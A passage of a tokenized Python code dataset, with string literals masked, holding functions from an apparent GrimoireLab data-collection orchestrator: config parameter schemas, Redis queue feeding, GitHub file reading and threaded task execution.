None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_enrichment = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:url>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": <NUM_LIT:2>,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:user>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:password>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_panels = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:strict>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_report = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": [],<EOL>\"<STR_LIT:type>\": list,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_sortinghat = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT:True>\",<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": [\"<STR_LIT:email>\"],<EOL>\"<STR_LIT:type>\": list,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": <NUM_LIT>,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:host>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:user>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT:root>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:password>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>\"<STR_LIT:type>\": list,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": [],<EOL>\"<STR_LIT:type>\": list,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": [],<EOL>\"<STR_LIT:type>\": list,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": [],<EOL>\"<STR_LIT:type>\": list,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_track_items = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>tasks_config_params = [params_collection, params_enrichment, params_panels,<EOL>params_report, params_sortinghat, params_track_items]<EOL>for section_params in tasks_config_params:<EOL><INDENT>params.update(section_params)<EOL><DEDENT>return params<EOL>", "docstring": "Define all the possible config params", "id": "f9685:c0:m2"}
{"signature": "def set_param(self, section, param, value):", "body": "if section not in self.conf or param not in self.conf[section]:<EOL><INDENT>logger.error('<STR_LIT>', section, param)<EOL><DEDENT>else:<EOL><INDENT>self.conf[section][param] = value<EOL><DEDENT>", "docstring": "Change a param in the config", "id": "f9685:c0:m5"}
{"signature": "def __add_types(self, raw_conf):", "body": "typed_conf = {}<EOL>for s in raw_conf.keys():<EOL><INDENT>typed_conf[s] = {}<EOL>for option in raw_conf[s]:<EOL><INDENT>val = raw_conf[s][option]<EOL>if len(val) > <NUM_LIT:1> and (val[<NUM_LIT:0>] == '<STR_LIT:\">' and val[-<NUM_LIT:1>] == '<STR_LIT:\">'):<EOL><INDENT>typed_conf[s][option] = val[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>elif len(val) > <NUM_LIT:1> and (val[<NUM_LIT:0>] == '<STR_LIT:[>' and val[-<NUM_LIT:1>] == '<STR_LIT:]>'):<EOL><INDENT>typed_conf[s][option] = val[<NUM_LIT:1>:-<NUM_LIT:1>].replace('<STR_LIT:U+0020>', '<STR_LIT>').split('<STR_LIT:U+002C>')<EOL><DEDENT>elif val.lower() in ['<STR_LIT:true>', '<STR_LIT:false>']:<EOL><INDENT>typed_conf[s][option] = True if val.lower() == '<STR_LIT:true>' else False<EOL><DEDENT>elif val.lower() == '<STR_LIT:none>':<EOL><INDENT>typed_conf[s][option] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>typed_conf[s][option] = int(val)<EOL><DEDENT>except ValueError:<EOL><INDENT>typed_conf[s][option] = val<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return typed_conf<EOL>", "docstring": "Convert to int, boolean, list, None types config items", "id": "f9685:c0:m11"}
{"signature": "def _add_to_conf(self, new_conf):", "body": "for section in new_conf:<EOL><INDENT>if section not in self.conf:<EOL><INDENT>self.conf[section] = new_conf[section]<EOL><DEDENT>else:<EOL><INDENT>for param in new_conf[section]:<EOL><INDENT>self.conf[section][param] = new_conf[section][param]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Add new configuration to self.conf.\n\n        Adds configuration parameters in new_con to self.conf.\n        If they already existed in conf, overwrite them.\n\n        :param new_conf: new configuration, to add", "id": "f9685:c0:m12"}
{"signature": "@classmethod<EOL><INDENT>def sha_github_file(cls, config, repo_file, repository_api, repository_branch):<DEDENT>", "body": "repo_file_sha = None<EOL>cfg = config.get_conf()<EOL>github_token = cfg['<STR_LIT>']['<STR_LIT>']<EOL>headers = {\"<STR_LIT>\": \"<STR_LIT>\" + github_token}<EOL>url_dir = repository_api + \"<STR_LIT>\" + repository_branch<EOL>logger.debug(\"<STR_LIT>\", url_dir)<EOL>raw_repo_file_info = requests.get(url_dir, headers=headers)<EOL>raw_repo_file_info.raise_for_status()<EOL>for rfile in raw_repo_file_info.json()['<STR_LIT>']:<EOL><INDENT>if rfile['<STR_LIT:path>'] == repo_file:<EOL><INDENT>logger.debug(\"<STR_LIT>\", rfile[\"<STR_LIT>\"])<EOL>repo_file_sha = rfile[\"<STR_LIT>\"]<EOL>break<EOL><DEDENT><DEDENT>return repo_file_sha<EOL>", "docstring": "Return the GitHub SHA for a file in the repository", "id": "f9686:c3:m2"}
{"signature": "def __get_uuids_from_profile_name(self, profile_name):", "body": "uuids = []<EOL>with self.db.connect() as session:<EOL><INDENT>query = session.query(Profile).filter(Profile.name == profile_name)<EOL>profiles = query.all()<EOL>if profiles:<EOL><INDENT>for p in profiles:<EOL><INDENT>uuids.append(p.uuid)<EOL><DEDENT><DEDENT><DEDENT>return uuids<EOL>", "docstring": "Get the uuid for a profile name", "id": "f9686:c4:m2"}
{"signature": "@classmethod<EOL><INDENT>def measure_memory(cls, obj, seen=None):<DEDENT>", "body": "size = sys.getsizeof(obj)<EOL>if seen is None:<EOL><INDENT>seen = set()<EOL><DEDENT>obj_id = id(obj)<EOL>if obj_id in seen:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>seen.add(obj_id)<EOL>if isinstance(obj, dict):<EOL><INDENT>size += sum([cls.measure_memory(v, seen) for v in obj.values()])<EOL>size += sum([cls.measure_memory(k, seen) for k in obj.keys()])<EOL><DEDENT>elif hasattr(obj, '<STR_LIT>'):<EOL><INDENT>size += cls.measure_memory(obj.__dict__, seen)<EOL><DEDENT>elif hasattr(obj, '<STR_LIT>') and not isinstance(obj, (str, bytes, bytearray)):<EOL><INDENT>size += sum([cls.measure_memory(i, seen) for i in obj])<EOL><DEDENT>return size<EOL>", "docstring": "Recursively finds size of objects", "id": "f9687:c1:m1"}
{"signature": "def __feed_arthur(self):", "body": "with self.ARTHUR_FEED_LOCK:<EOL><INDENT>if (time.time() - self.ARTHUR_LAST_MEMORY_CHECK) > <NUM_LIT:5> * self.ARTHUR_LAST_MEMORY_CHECK_TIME:<EOL><INDENT>self.ARTHUR_LAST_MEMORY_CHECK = time.time()<EOL>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>memory_size = self.measure_memory(self.arthur_items) / (<NUM_LIT> * <NUM_LIT>)<EOL><DEDENT>except RuntimeError as ex:<EOL><INDENT>logger.warning(\"<STR_LIT>\", ex)<EOL>memory_size = self.ARTHUR_LAST_MEMORY_SIZE<EOL><DEDENT>self.ARTHUR_LAST_MEMORY_CHECK_TIME = time.time() - self.ARTHUR_LAST_MEMORY_CHECK<EOL>logger.debug(\"<STR_LIT>\",<EOL>memory_size, self.ARTHUR_LAST_MEMORY_CHECK_TIME)<EOL>self.ARTHUR_LAST_MEMORY_SIZE = memory_size<EOL><DEDENT>if self.ARTHUR_LAST_MEMORY_SIZE > self.ARTHUR_MAX_MEMORY_SIZE:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>logger.info(\"<STR_LIT>\")<EOL>db_url = self.config.get_conf()['<STR_LIT>']['<STR_LIT>']<EOL>conn = redis.StrictRedis.from_url(db_url)<EOL>logger.debug(\"<STR_LIT>\", db_url)<EOL>pipe = conn.pipeline()<EOL>pipe.lrange(Q_STORAGE_ITEMS, <NUM_LIT:0>, self.ARTHUR_REDIS_ITEMS - <NUM_LIT:1>)<EOL>pipe.ltrim(Q_STORAGE_ITEMS, self.ARTHUR_REDIS_ITEMS, -<NUM_LIT:1>)<EOL>items = pipe.execute()[<NUM_LIT:0>]<EOL>for item in items:<EOL><INDENT>arthur_item = pickle.loads(item)<EOL>if arthur_item['<STR_LIT>'] not in self.arthur_items:<EOL><INDENT>self.arthur_items[arthur_item['<STR_LIT>']] = []<EOL><DEDENT>self.arthur_items[arthur_item['<STR_LIT>']].append(arthur_item)<EOL><DEDENT>for tag in self.arthur_items:<EOL><INDENT>if self.arthur_items[tag]:<EOL><INDENT>logger.debug(\"<STR_LIT>\", tag, len(self.arthur_items[tag]))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Feed Ocean with backend data collected from arthur redis queue", "id": "f9687:c1:m2"}
{"signature": "def __feed_backend_arthur(self, repo):", "body": "<EOL>self.__feed_arthur()<EOL>tag = self.backend_tag(repo)<EOL>logger.debug(\"<STR_LIT>\", self.arthur_items.keys())<EOL>logger.debug(\"<STR_LIT>\", tag)<EOL>if tag in self.arthur_items:<EOL><INDENT>logger.debug(\"<STR_LIT>\", tag)<EOL>while self.arthur_items[tag]:<EOL><INDENT>yield self.arthur_items[tag].pop()<EOL><DEDENT><DEDENT>", "docstring": "Feed Ocean with backend data collected from arthur redis queue", "id": "f9687:c1:m4"}
{"signature": "def __create_arthur_json(self, repo, backend_args):", "body": "backend_args = self._compose_arthur_params(self.backend_section, repo)<EOL>if self.backend_section == '<STR_LIT>':<EOL><INDENT>backend_args['<STR_LIT>'] = os.path.join(self.REPOSITORY_DIR, repo)<EOL><DEDENT>backend_args['<STR_LIT>'] = self.backend_tag(repo)<EOL>ajson = {\"<STR_LIT>\": [{}]}<EOL>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>'] = self.backend_tag(repo)<EOL>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>'] = self.backend_section.split(\"<STR_LIT::>\")[<NUM_LIT:0>]<EOL>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>'] = backend_args<EOL>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>'] = backend_args['<STR_LIT>']<EOL>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>'] = {}<EOL>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>'] = {\"<STR_LIT>\": self.ARTHUR_TASK_DELAY}<EOL>es_col_url = self._get_collection_url()<EOL>es_index = self.conf[self.backend_section]['<STR_LIT>']<EOL>es = ElasticSearch(es_col_url, es_index)<EOL>connector = get_connector_from_name(self.backend_section)<EOL>klass = connector[<NUM_LIT:0>]  <EOL>signature = inspect.signature(klass.fetch)<EOL>last_activity = None<EOL>filter_ = {\"<STR_LIT:name>\": \"<STR_LIT>\", \"<STR_LIT:value>\": backend_args['<STR_LIT>']}<EOL>if '<STR_LIT>' in signature.parameters:<EOL><INDENT>last_activity = es.get_last_item_field('<STR_LIT>', [filter_])<EOL>if last_activity:<EOL><INDENT>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'] = last_activity.isoformat()<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in signature.parameters:<EOL><INDENT>last_activity = es.get_last_item_field('<STR_LIT>', [filter_])<EOL>if last_activity:<EOL><INDENT>ajson[\"<STR_LIT>\"][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'] = last_activity<EOL><DEDENT><DEDENT>if last_activity:<EOL><INDENT>logging.info(\"<STR_LIT>\", last_activity)<EOL><DEDENT>return(ajson)<EOL>", "docstring": "Create the JSON for configuring arthur to collect data\n\n        https://github.com/grimoirelab/arthur#adding-tasks\n        Sample for git:\n\n        {\n        \"tasks\": [\n            {\n                \"task_id\": \"arthur.git\",\n                \"backend\": \"git\",\n                \"backend_args\": {\n                    \"gitpath\": \"/tmp/arthur_git/\",\n                    \"uri\": \"https://github.com/grimoirelab/arthur.git\"\n                },\n                \"category\": \"commit\",\n                \"archive_args\": {\n                    \"archive_path\": '/tmp/test_archives',\n                    \"fetch_from_archive\": false,\n                    \"archive_after\": None\n                },\n                \"scheduler_args\": {\n                    \"delay\": 10\n                }\n            }\n        ]\n        }", "id": "f9687:c1:m5"}
{"signature": "def __check_looks_like_uri(self, uri):", "body": "if uri.split('<STR_LIT:/>')[<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>elif uri.split('<STR_LIT:/>')[<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>if uri.split('<STR_LIT:/>')[<NUM_LIT:5>] == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise GithubFileNotFound('<STR_LIT>' % uri)<EOL><DEDENT>", "docstring": "Checks the URI looks like a RAW uri in github:\n\n        - 'https://raw.githubusercontent.com/github/hubot/master/README.md'\n        - 'https://github.com/github/hubot/raw/master/README.md'\n\n        :param uri: uri of the file", "id": "f9688:c0:m1"}
{"signature": "def read_file_from_uri(self, uri):", "body": "logger.debug(\"<STR_LIT>\" % (uri))<EOL>self.__check_looks_like_uri(uri)<EOL>try:<EOL><INDENT>req = urllib.request.Request(uri)<EOL>req.add_header('<STR_LIT>', '<STR_LIT>' % self.token)<EOL>r = urllib.request.urlopen(req)<EOL><DEDENT>except urllib.error.HTTPError as err:<EOL><INDENT>if err.code == <NUM_LIT>:<EOL><INDENT>raise GithubFileNotFound('<STR_LIT>' % uri)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return r.read().decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Reads the file from Github\n\n        :param uri: URI of the Github raw File\n\n        :returns: UTF-8 text with the content", "id": "f9688:c0:m2"}
{"signature": "def is_backend_task(self):", "body": "return True<EOL>", "docstring": "Returns True if the Task is executed per backend.\ni.e. SortingHat unify is not executed per backend.", "id": "f9689:c0:m3"}
{"signature": "def execute(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Execute the Task", "id": "f9689:c0:m4"}
{"signature": "def es_version(self, url):", "body": "try:<EOL><INDENT>res = self.grimoire_con.get(url)<EOL>res.raise_for_status()<EOL>major = res.json()['<STR_LIT:version>']['<STR_LIT>'].split(\"<STR_LIT:.>\")[<NUM_LIT:0>]<EOL><DEDENT>except Exception:<EOL><INDENT>logger.error(\"<STR_LIT>\" + url)<EOL>raise<EOL><DEDENT>return major<EOL>", "docstring": "Get Elasticsearch version.\n\n        Get the version of Elasticsearch. This is useful because\n        Elasticsearch and Kibiter are paired (same major version for 5, 6).\n\n        :param url: Elasticseearch url hosting Kibiter indices\n        :returns:   major version, as string", "id": "f9689:c0:m13"}
{"signature": "def __init__(self, config):", "body": "self.config = config<EOL>self.conf = config.get_conf()<EOL>self.grimoire_con = grimoire_con(conn_retries=<NUM_LIT:12>)<EOL>", "docstring": "config is a Config object", "id": "f9690:c0:m0"}
{"signature": "def execute_tasks(self, tasks_cls):", "body": "self.execute_batch_tasks(tasks_cls)<EOL>", "docstring": "Just a wrapper to the execute_batch_tasks method", "id": "f9690:c0:m6"}
{"signature": "def execute_nonstop_tasks(self, tasks_cls):", "body": "self.execute_batch_tasks(tasks_cls,<EOL>self.conf['<STR_LIT>']['<STR_LIT>'],<EOL>self.conf['<STR_LIT>']['<STR_LIT>'], False)<EOL>", "docstring": "Just a wrapper to the execute_batch_tasks method", "id": "f9690:c0:m7"}
{"signature": "def execute_batch_tasks(self, tasks_cls, big_delay=<NUM_LIT:0>, small_delay=<NUM_LIT:0>, wait_for_threads=True):", "body": "def _split_tasks(tasks_cls):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>backend_t = []<EOL>global_t = []<EOL>for t in tasks_cls:<EOL><INDENT>if t.is_backend_task(t):<EOL><INDENT>backend_t.append(t)<EOL><DEDENT>else:<EOL><INDENT>global_t.append(t)<EOL><DEDENT><DEDENT>return backend_t, global_t<EOL><DEDENT>backend_tasks, global_tasks = _split_tasks(tasks_cls)<EOL>logger.debug('<STR_LIT>' % (backend_tasks))<EOL>logger.debug('<STR_LIT>' % (global_tasks))<EOL>threads = []<EOL>stopper = threading.Event()<EOL>if len(backend_tasks) > <NUM_LIT:0>:<EOL><INDENT>repos_backend = self._get_repos_by_backend()<EOL>for backend in repos_backend:<EOL><INDENT>t = TasksManager(backend_tasks, backend, stopper, self.config, small_delay)<EOL>threads.append(t)<EOL>t.start()<EOL><DEDENT><DEDENT>if len(global_tasks) > <NUM_LIT:0>:<EOL><INDENT>gt = TasksManager(global_tasks, \"<STR_LIT>\", stopper, self.config, big_delay)<EOL>threads.append(gt)<EOL>gt.start()<EOL>if big_delay > <NUM_LIT:0>:<EOL><INDENT>when = datetime.now() + timedelta(seconds=big_delay)<EOL>when_str = when.strftime('<STR_LIT>')<EOL>logger.info(\"<STR_LIT>\" % (global_tasks, when_str))<EOL><DEDENT><DEDENT>if wait_for_threads:<EOL><INDENT>time.sleep(<NUM_LIT:1>)  <EOL>stopper.set()  <EOL><DEDENT>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT>self.__check_queue_for_errors()<EOL>logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Start a task manager per backend to complete the tasks.\n\n:param task_cls: list of tasks classes to be executed\n:param big_delay: seconds before global tasks are executed, should be days usually\n:param small_delay: seconds before backend tasks are executed, should be minutes\n:param wait_for_threads: boolean to set when threads are infinite or\n                        should be synchronized in a meeting point", "id": "f9690:c0:m8"}
{"signature": "def __execute_initial_load(self):", "body": "if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>tasks_cls = [TaskPanels, TaskPanelsMenu]<EOL>self.execute_tasks(tasks_cls)<EOL><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>tasks_cls = [TaskInitSortingHat]<EOL>self.execute_tasks(tasks_cls)<EOL><DEDENT>logger.info(\"<STR_LIT>\")<EOL>tasks_cls = [TaskProjects]<EOL>self.execute_tasks(tasks_cls)<EOL>logger.info(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "Tasks that should be done just one time", "id": "f9690:c0:m10"}
{"signature": "def start(self):", "body": "<EOL>logger.info(\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\")<EOL>if not self.check_es_access():<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>if not self.check_redis_access():<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not self.check_arthur_access():<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>if not self.check_bestiary_access():<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>self.__execute_initial_load()<EOL>all_tasks_cls = []<EOL>all_tasks_cls.append(TaskProjects)  <EOL>if 